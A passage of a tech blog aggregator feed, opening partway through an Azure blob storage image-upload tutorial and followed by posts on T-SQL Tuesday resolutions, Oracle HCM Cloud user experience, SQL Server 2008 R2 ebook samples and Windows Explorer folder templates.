there are three steps for saving the image into the blob service. First alike the table service I created the container with a unique name and create it if it’s not exist. 1: // create the blob container for account logos if not exist 2: CloudBlobClient blobStorage = storageAccount.CreateCloudBlobClient(); 3: CloudBlobContainer container = blobStorage.GetContainerReference("account-logo"); 4: container.CreateIfNotExist(); Then, since in this example I will just send the blob access URL back to the client so I need to open the read permission on that container. 1: // configure blob container for public access 2: BlobContainerPermissions permissions = container.GetPermissions(); 3: permissions.PublicAccess = BlobContainerPublicAccessType.Container; 4: container.SetPermissions(permissions); And at the end I combine the blob resource name from the input file name and Guid, and then save it to the block blob by using the UploadByteArray method. Finally I returned the URL of this blob back to the client side. 1: // save the blob into the blob service 2: string uniqueBlobName = string.Format("{0}_{1}.jpg", email, Guid.NewGuid().ToString()); 3: CloudBlockBlob blob = container.GetBlockBlobReference(uniqueBlobName); 4: blob.UploadByteArray(image); 5:  6: return blob.Uri.ToString(); Let’s update a bit on the client side application and see the result. Here I just use my simple console application to let the user input the email and the file name of the image. If it’s OK it will show the URL of the blob on the server side so that we can see it through the web browser. Then we can see the logo I’ve just uploaded through the URL here. You may notice that the blob URL was based on the container name and the blob unique name. In the document of the Azure SDK there’s a page for the rule of naming them, but I think the simple rule would be – they must be valid as an URL address. So that you cannot name the container with dot or slash as it will break the ADO.Data Service routing rule. For exmaple if you named the blob container as Account.Logo then it will throw an exception says 400 Bad Request.   Summary In this short entity I covered the simple usage of the blob service to save the images onto Azure. Since the Azure platform does not support the file system we have to migrate our code for reading/writing files to the blob service before deploy it to Azure. In order to reducing this effort Microsoft provided a new approch named Drive, which allows us read and write the NTFS files just likes what we did before. It’s built up on the blob serivce but more properly for files accessing. I will discuss more about it in the next post.   Hope this helps, Shaun All documents and related graphics, codes are provided "AS IS" without warranty of any kind. Copyright © Shaun Ziyan Xu. This work is licensed under the Creative Commons License.

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• I Hereby Resolve… (T-SQL Tuesday #14)

  - by smisner

  It’s time for another T-SQL Tuesday, hosted this month by Jen McCown (blog|twitter), on the topic of resolutions. Specifically, “what techie resolutions have you been pondering, and why?” I like that word – pondering – because I ponder a lot. And while there are many things that I do already because of my job, there are many more things that I ponder about doing…if only I had the time. Then I ponder about making time, but then it’s back to work! In 2010, I was moderately more successful in making time for things that I ponder about than I had been in years past, and I hope to continue that trend in 2011. If Jen hadn’t settled on this topic, I could keep my ponderings to myself and no one would ever know the outcome, but she’s egged me on (and everyone else that chooses to participate)! So here goes… For me, having resolve to do something means that I wouldn’t be doing that something as part of my ordinary routine. It takes extra effort to make time for it. It’s not something that I do once and check off a list, but something that I need to commit to over a period of time. So with that in mind, I hereby resolve… To Learn Something New… One of the things I love about my job is that I get to do a lot of things outside of my ordinary routine. It’s a veritable smorgasbord of opportunity! So what more could I possibly add to that list of things to do? Well, the more I learn, the more I realize I have so much more to learn. It would be much easier to remain in ignorant bliss, but I was born to learn. Constantly. (And apparently to teach, too– my father will tell you that as a small child, I had the neighborhood kids gathered together to play school – in the summer. I’m sure they loved that – but they did it!) These are some of things that I want to dedicate some time to learning this year: Spatial data. I have a good understanding of how maps in Reporting Services works, and I can cobble together a simple T-SQL spatial query, but I know I’m only scratching the surface here. Rob Farley (blog|twitter) posted interesting examples of combining maps and PivotViewer, and I think there’s so many more creative possibilities. I’ve always felt that pictures (including charts and maps) really help people get their minds wrapped around data better, and because a lot of data has a geographic aspect to it, I believe developing some expertise here will be beneficial to my work. PivotViewer. Not only is PivotViewer combined with maps a useful way to visualize data, but it’s an interesting way to work with data. If you haven’t seen it yet, check out this interactive demonstration using Netflx OData feed. According to Rob Farley, learning how to work with PivotViewer isn’t trivial. Just the type of challenge I like! Security. You’ve heard of the accidental DBA? Well, I am the accidental security person – is there a word for that role? My eyes used to glaze over when having to study about security, or  when reading anything about it. Then I had a problem long ago that no one could figure out – not even the vendor’s tech support – until I rolled up my sleeves and painstakingly worked through the myriad of potential problems to resolve a very thorny security issue. I learned a lot in the process, and have been able to share what I’ve learned with a lot of people. But I’m not convinced their eyes weren’t glazing over, too. I don’t take it personally – it’s just a very dry topic! So in addition to deepening my understanding about security, I want to find a way to make the subject as it relates to SQL Server and business intelligence more accessible and less boring. Well, there’s actually a lot more that I could put on this list, and a lot more things I have plans to do this coming year, but I run the risk of overcommitting myself. And then I wouldn’t have time… To Have Fun! My name is Stacia and I’m a workaholic. When I love what I do, it’s difficult to separate out the work time from the fun time. But there are some things that I’ve been meaning to do that aren’t related to business intelligence for which I really need to develop some resolve. And they are techie resolutions, too, in a roundabout sort of way! Photography. When my husband and I went on an extended camping trip in 2009 to Yellowstone and the Grand Tetons, I had a nice little digital camera that took decent pictures. But then I saw the gorgeous cameras that other tourists were toting around and decided I needed one too. So I bought a Nikon D90 and have started to learn to use it, but I’m definitely still in the beginning stages. I traveled so much in 2010 and worked on two book projects that I didn’t have a lot of free time to devote to it. I was very inspired by Kimberly Tripp’s (blog|twitter) and Paul Randal’s (blog|twitter) photo-adventure in Alaska, though, and plan to spend some dedicated time with my camera this year. (And hopefully before I move to Alaska – nothing set in stone yet, but we hope to move to a remote location – with Internet access – later this year!) Astronomy. I have this cool telescope, but it suffers the same fate as my camera. I have been gone too much and busy with other things that I haven’t had time to work with it. I’ll figure out how it works, and then so much time passes by that I forget how to use it. I have this crazy idea that I can actually put the camera and the telescope together for astrophotography, but I think I need to start simple by learning how to use each component individually. As long as I’m living in Las Vegas, I know I’ll have clear skies for nighttime viewing, but when we move to Alaska, we’ll be living in a rain forest. I have no idea what my opportunities will be like there – except I know that when the sky is clear, it will be far more amazing than anything I can see in Vegas – even out in the desert - because I’ll be so far away from city light pollution. I’ve been contemplating putting together a blog on these topics as I learn. As many of my fellow bloggers in the SQL Server community know, sometimes the best way to learn something is to sit down and write about it. I’m just stumped by coming up with a clever name for the new blog, which I was thinking about inaugurating with my move to Alaska. Except that I don’t know when that will be exactly, so we’ll just have to wait and see which comes first!

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• So, how is the Oracle HCM Cloud User Experience? In a word, smokin’!

  - by Edith Mireles-Oracle

  By Misha Vaughan, Oracle Applications User Experience Oracle unveiled its game-changing cloud user experience strategy at Oracle OpenWorld 2013 (remember that?) with a new simplified user interface (UI) paradigm.  The Oracle HCM cloud user experience is about light-weight interaction, tailored to the task you are trying to accomplish, on the device you are comfortable working with. A key theme for the Oracle user experience is being able to move from smartphone to tablet to desktop, with all of your data in the cloud. The Oracle HCM Cloud user experience provides designs for better productivity, no matter when and how your employees need to work. Release 8  Oracle recently demonstrated how fast it is moving development forward for our cloud applications, with the availability of release 8.  In release 8, users will see expanded simplicity in the HCM cloud user experience, such as filling out a time card and succession planning. Oracle has also expanded its mobile capabilities with task flows for payslips, managing absences, and advanced analytics. In addition, users will see expanded extensibility with the new structures editor for simplified pages, and the with the user interface text editor, which allows you to update language throughout the UI from one place. If you don’t like calling people who work for you “employees,” you can use this tool to create a term that is suited to your business.  Take a look yourself at what’s available now. What are people saying?Debra Lilley (@debralilley), an Oracle ACE Director who has a long history with Oracle Applications, recently gave her perspective on release 8: “Having had the privilege of seeing a preview of release 8, I am again impressed with the enhancements around simplified UI. Even more so, at a user group event in London this week, an existing Cloud HCM customer speaking publically about his implementation said he was very excited about release 8 as the absence functionality was so superior and simple to use.”  In an interview with Lilley for a blog post by Dennis Howlett  (@dahowlett), we probably couldn’t have asked for a more even-handed look at the Oracle Applications Cloud and the impact of user experience. Take the time to watch all three videos and get the full picture.  In closing, Howlett’s said: “There is always the caveat that getting from the past to Fusion [from the editor: Fusion is now called the Oracle Applications Cloud] is not quite as simple as may be painted, but the outcomes are much better than anticipated in large measure because the user experience is so much better than what went before.” Herman Slange, Technical Manager with Oracle Applications partner Profource, agrees with that comment. “We use on-premise Financials & HCM for internal use. Having a simple user interface that works on a desktop as well as a tablet for (very) non-technical users is a big relief. Coming from E-Business Suite, there is less training (none) required to access HCM content.  From a technical point of view, having the abilities to tailor the simplified UI very easy makes it very efficient for us to adjust to specific customer needs.  When we have a conversation about simplified UI, we just hand over a tablet and ask the customer to just use it. No training and no explanation required.” Finally, in a story by Computer Weekly  about Oracle customer BG Group, a natural gas exploration and production company based in the UK and with a presence in 20 countries, the author states: “The new HR platform has proved to be easier and more intuitive for HR staff to use than the previous SAP-based technology.” What’s Next for Oracle’s Applications Cloud User Experiences? This is the question that Steve Miranda, Oracle Executive Vice President, Applications Development, asks the Applications User Experience team, and we’ve been hard at work for some time now on “what’s next.”  I can’t say too much about it, but I can tell you that we’ve started talking to customers and partners, under non-disclosure agreements, about user experience concepts that we are working on in order to get their feedback. We recently had a chance to talk about possibilities for the Oracle HCM Cloud user experience at an Oracle HCM Southern California Customer Success Summit. This was a fantastic event, hosted by Shane Bliss and Vance Morossi of the Oracle Client Success Team. We got to use the uber-slick facilities of Allergan, our hosts (of Botox fame), headquartered in Irvine, Calif., with a presence in more than 100 countries. Photo by Misha Vaughan, Oracle Applications User Experience Vance Morossi, left, and Shane Bliss, of the Oracle Client Success Team, at an Oracle HCM Southern California Customer Success Summit.  We were treated to a few really excellent talks around human resources (HR). Alice White, VP Human Resources, discussed Allergan's process for global talent acquisition -- how Allergan has designed and deployed a global process, and global tools, along with Oracle and Cognizant, and are now at the end of a global implementation. She shared a couple of insights about the journey for Allergan: “One of the major areas for improvement was on role clarification within the company.” She said the company is “empowering managers and deputizing them as recruiters. Now it is a global process that is nimble and efficient."  Deepak Rammohan, VP Product Management, HCM Cloud, Oracle, also took the stage to talk about pioneering modern HR. He reflected modern HR problems of getting the right data about the workforce, the importance of getting the right talent as a key strategic initiative, and other workforce insights. "How do we design systems to deal with all of this?” he asked. “Make sure the systems are talent-centric. The next piece is collaborative, engaging, and mobile. A lot of this is influenced by what users see today. The last thing is around insight; insight at the point of decision-making." Rammohan showed off some killer HCM Cloud talent demos focused on simplicity and mobility that his team has been cooking up, and closed with a great line about the nature of modern recruiting: "Recruiting is a team sport." Deepak Rammohan, left, and Jake Kuramoto, both of Oracle, debate the merits of a Google Glass concept demo for recruiters on-the-go. Later, in an expo-style format, the Apps UX team showed several concepts for next-generation HCM Cloud user experiences, including demos shown by Jake Kuramoto (@jkuramoto) of The AppsLab, and Aylin Uysal (@aylinuysal), Director, HCM Cloud user experience. We even hauled out our eye-tracker, a research tool used to show where the eye is looking at a particular screen, thanks to teammate Michael LaDuke. Dionne Healy, HCM Client Executive, and Aylin Uysal, Director, HCM Cloud user experiences, Oracle, take a look at new HCM Cloud UX concepts. We closed the day with Jeremy Ashley (@jrwashley), VP, Applications User Experience, who brought it all back together by talking about the big picture for applications cloud user experiences. He covered the trends we are paying attention to now, what users will be expecting of their modern enterprise apps, and what Oracle’s design strategy is around these ideas.   We closed with an excellent reception hosted by ADP Payroll services at Bistango. Want to read more?Want to see where our cloud user experience is going next? Read more on the UsableApps web site about our latest design initiative: “Glance, Scan, Commit.” Or catch up on the back story by looking over our Applications Cloud user experience content on the UsableApps web site.  You can also find out where we’ll be next at the Events page on UsableApps.

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• Introducing Microsoft SQL Server 2008 R2 - Business Intelligence Samples

  - by smisner

  On April 14, 2010, Microsoft Press (blog | twitter) released my latest book, co-authored with Ross Mistry (twitter), as a free ebook download - Introducing Microsoft SQL Server 2008 R2. As the title implies, this ebook is an introduction to the latest SQL Server release. Although you'll find a comprehensive review of the product's features in this book, you will not find the step-by-step details that are typical in my other books. For those readers who are interested in a more interactive learning experience, I have created two samples file for download: IntroSQLServer2008R2Samples project Sales Analysis workbook Here's a recap of the business intelligence chapters and the samples I used to generate the screen shots by chapter: Chapter 6: Scalable Data Warehousing covers a new edition of SQL Server, Parallel Data Warehouse. Understandably, Microsoft did not ship me the software and hardware to set up my own Parallel Data Warehouse environment for testing purposes and consequently you won't see any screenshots in this chapter. I received a lot of information and a lot of help from the product team during the development of this chapter to ensure its technical accuracy. Chapter 7: Master Data Services is a new component in SQL Server. After you install Master Data Services (MDS), which is a separate installation from SQL Server although it's found on the same media, you can install sample models to explore (which is what I did to create screenshots for the book). To do this, you deploying packages found at \Program Files\Microsoft SQL Server\Master Data Services\Samples\Packages. You will first need to use the Configuration Manager (in the Microsoft SQL Server 2008 R2\Master Data Services program group) to create a database and a Web application for MDS. Then when you launch the application, you'll see a Getting Started page which has a Deploy Sample Data link that you can use to deploy any of the sample packages. Chapter 8: Complex Event Processing is an introduction to another new component, StreamInsight. This topic was way too large to cover in-depth in a single chapter, so I focused on information such as architecture, development models, and an overview of the key sections of code you'll need to develop for your own applications. StreamInsight is an engine that operates on data in-flight and as such has no user interface that I could include in the book as screenshots. The November CTP version of SQL Server 2008 R2 included code samples as part of the installation, but these are not the official samples that will eventually be available in Codeplex. At the time of this writing, the samples are not yet published. Chapter 9: Reporting Services Enhancements provides an overview of all the changes to Reporting Services in SQL Server 2008 R2, and there are many! In previous posts, I shared more details than you'll find in the book about new functions (Lookup, MultiLookup, and LookupSet), properties for page numbering, and the new global variable RenderFormat. I will confess that I didn't use actual data in the book for my discussion on the Lookup functions, but I did create real reports for the blog posts and will upload those separately. For the other screenshots and examples in the book, I have created the IntroSQLServer2008R2Samples project for you to download. To preview these reports in Business Intelligence Development Studio, you must have the AdventureWorksDW2008R2 database installed, and you must download and install SQL Server 2008 R2. For the map report, you must execute the PopulationData.sql script that I included in the samples file to add a table to the AdventureWorksDW2008R2 database. The IntroSQLServer2008R2Samples project includes the following files: 01_AggregateOfAggregates.rdl to illustrate the use of embedded aggregate functions 02_RenderFormatAndPaging.rdl to illustrate the use of page break properties (Disabled, ResetPageNumber), the PageName property, and the RenderFormat global variable 03_DataSynchronization.rdl to illustrate the use of the DomainScope property 04_TextboxOrientation.rdl to illustrate the use of the WritingMode property 05_DataBar.rdl 06_Sparklines.rdl 07_Indicators.rdl 08_Map.rdl to illustrate a simple analytical map that uses color to show population counts by state PopulationData.sql to provide the data necessary for the map report Chapter 10: Self-Service Analysis with PowerPivot introduces two new components to the Microsoft BI stack, PowerPivot for Excel and PowerPivot for SharePoint, which you can learn more about at the PowerPivot site. To produce the screenshots for this chapter, I created the Sales Analysis workbook which you can download (although you must have Excel 2010 and the PowerPivot for Excel add-in installed to explore it fully). It's a rather simple workbook because space in the book did not permit a complete exploration of all the wonderful things you can do with PowerPivot. I used a tutorial that was available with the CTP version as a basis for the report so it might look familiar if you've already started learning about PowerPivot. In future posts, I'll continue exploring the new features in greater detail. If there's any special requests, please let me know! Share this post: email it! | bookmark it! | digg it! | reddit! | kick it! | live it!

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• Customize the Five Windows Folder Templates

  - by Mark Virtue

  Are you’re particular about the way Windows Explorer presents each folder’s contents? Here we show you how to take advantage of Explorer’s built-in templates, which cuts down the time it takes to do customizations. Note: The techniques in this article apply to Windows XP, Vista, and Windows 7. When opening a folder for the first time in Windows Explorer, we are presented with a standard default view of the files and folders in that folder. It may be that the items are presented are perfectly fine, but on the other hand, we may want to customize the view.  The aspects of it that we can customize are the following: The display type (list view, details, tiles, thumbnails, etc) Which columns are displayed, and in which order The widths of the visible columns The order in which the files and folders are sorted Any file groupings Thankfully, Windows offers us a shortcut.  A particular folder’s settings can be used as a “template” for other, similar folders.  In fact, we can store up to five separate sets of folder presentation configurations.  Once we save the settings for a particular template, that template can then be applied to other folders. Customize Your First Folder We’ll start by setting up the first of our templates – the default one.  Once we create this template and apply it, the vast majority of the folders in our file system will change to match it, so it’s important that we set it up very carefully.  The first step in creating and applying the template is to customize one folder with the settings that all the rest will have. Choose a folder that is typical of the folders that you wish to have this default template.  Select it in Windows Explorer.  To ensure that it is a suitable candidate, right-click the folder name and select Properties, then go to the Customize tab.  Ensure that this folder is marked as General Items.  If it is not, either choose a different folder or select General Items from the list. Click OK.  Now we’re ready to customize our first folder. Changing the way one single folder is presented is straightforward.  We start with the folder’s display type.  Click the Change your view button in the top-right corner of every Explorer window. Each time you click the button, the folder’s view cycles to the next view type.  Alternatively you can click the little down-arrow next to the button to see all the display types at once, and select the one you want. Click the view you want, or drag the slider next to the one you want. If you have chosen Details, then the next thing you may wish to change is which columns are displayed, and the order of these.  To choose which columns are displayed, simply right-click on any column heading.  A list of the columns currently being display appears. Simply uncheck a column if you don’t want it displayed, and check the columns that you want displayed.  If you want some information displayed about your files that is not listed here, then click the More… button for a full list of file attributes. There’s a lot of them! To change the order of the columns that are currently being displayed, simply click on a column heading and drag it to where you think it should be.  To change the width of a column, click the line that represents the right-hand edge of the column and drag it left or right. To sort by a column, click once on that column.  To reverse the sort-order, click that same column again. To change the groupings of the files in the folder, right-click in a blank area of the folder, select Group by, and select the appropriate column. Apply This Default Template to All Similar Folders Once you have the folder exactly the way you want it, we now use this folder as our default template for most of the folders in our file system.  To do this, ensure that you are still in the folder you just customized, and then, from the Organize menu in Explorer, click on Folder and search options. Then select the View tab and click the Apply to Folders button. After you’ve clicked OK, visit some of the other folders in your file system.  You should see that most have taken on these new settings. What we’ve just done, in effect, is we have customized the General Items template.  This is one of five templates that Windows Explorer uses to display folder contents.  The five templates are called (in Windows 7): General Items Documents Pictures Music Videos When a folder is opened, Windows Explorer examines the contents to see if it can automatically determine which folder template to use to display the folder contents.  If it is not obvious that the folder contents falls into any of the last four templates, then Windows Explorer chooses the General Items template.  That’s why most of the folders in your file system are shown using the General Items template. Changing the Other Four Templates If you want to adjust the other four templates, the process is very similar to what we’ve just done.  If you wanted to change the “Music” template, for example, the steps would be as follows: Select a folder that contains music items Apply the existing Music template to the folder (even if it doesn’t look like you want it to) Customize the folder to your personal preferences Apply the new template to all “Music” folders A fifth step would be:  When you open a folder that contains music items but is not automatically displayed using the Music template, you manually select the Music template for that folder. First, select a folder that contains music items.  It will probably be displayed using the existing Music template: Next, ensure that it is using the Music template.  If it’s not, then manually select the Music template. Next, customize the folder to suit your personal preferences (here we’ve added a couple of columns, and sorted by Artist). Now we can set this view to be our Music template.  Choose Organize, then the View tab, and click the Apply to Folders button. Note: The only folders that will inherit these settings are the ones that are currently (or will soon be) using the Music template. Now, if you have any folder that contains music items, and you want it to inherit all of these settings, then right-click the folder name, choose Properties, and select that this folder should use the Music template.  You can also cehck the box entitled Also apply this template to all subfolders if you want to save yourself even more time with all the sub-folders. Conclusion It’s neat to be able to set up templates for your folder views like this.  It’s a shame that Microsoft didn’t take the concept just a little further and allow you to create as many templates as you want. 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